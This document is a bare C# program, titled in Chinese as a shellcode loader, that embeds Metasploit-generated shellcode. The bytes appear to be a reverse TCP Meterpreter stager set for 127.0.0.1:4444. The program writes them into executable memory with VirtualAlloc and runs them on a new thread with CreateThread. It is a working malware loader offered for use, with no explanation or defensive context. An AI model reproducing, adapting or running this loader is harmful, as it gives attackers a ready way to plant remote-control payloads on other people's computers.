C#加载shellcode

using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
    class Program
    {
        static void Main(string[] args)
        {
            // native function’s compiled code
            // generated with metasploit
            byte[] shellcode = new byte[333] {
0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52,
0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1,
0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,
0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,
0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,
0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,
0x8d,0x5d,0x68,0x33,0x32,0x00,0x00,0x68,0x77,0x73,0x32,0x5f,0x54,0x68,0x4c,
0x77,0x26,0x07,0xff,0xd5,0xb8,0x90,0x01,0x00,0x00,0x29,0xc4,0x54,0x50,0x68,
0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x05,0x68,0x7f,0x00,0x00,0x01,0x68,0x02,
0x00,0x11,0x5c,0x89,0xe6,0x50,0x50,0x50,0x50,0x40,0x50,0x40,0x50,0x68,0xea,
0x0f,0xdf,0xe0,0xff,0xd5,0x97,0x6a,0x10,0x56,0x57,0x68,0x99,0xa5,0x74,0x61,
0xff,0xd5,0x85,0xc0,0x74,0x0a,0xff,0x4e,0x08,0x75,0xec,0xe8,0x61,0x00,0x00,
0x00,0x6a,0x00,0x6a,0x04,0x56,0x57,0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,
0xf8,0x00,0x7e,0x36,0x8b,0x36,0x6a,0x40,0x68,0x00,0x10,0x00,0x00,0x56,0x6a,
0x00,0x68,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x93,0x53,0x6a,0x00,0x56,0x53,0x57,
0x68,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x22,0x58,0x68,0x00,
0x40,0x00,0x00,0x6a,0x00,0x50,0x68,0x0b,0x2f,0x0f,0x30,0xff,0xd5,0x57,0x68,
0x75,0x6e,0x4d,0x61,0xff,0xd5,0x5e,0x5e,0xff,0x0c,0x24,0xe9,0x71,0xff,0xff,
0xff,0x01,0xc3,0x29,0xc6,0x75,0xc7,0xc3,0xbb,0xf0,0xb5,0xa2,0x56,0x6a,0x00,
0x53,0xff,0xd5 };
            UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
        private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
        private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
        private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
        private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
        private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
        private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
        private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
        private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
        private static extern UInt32 GetLastError();
}
}

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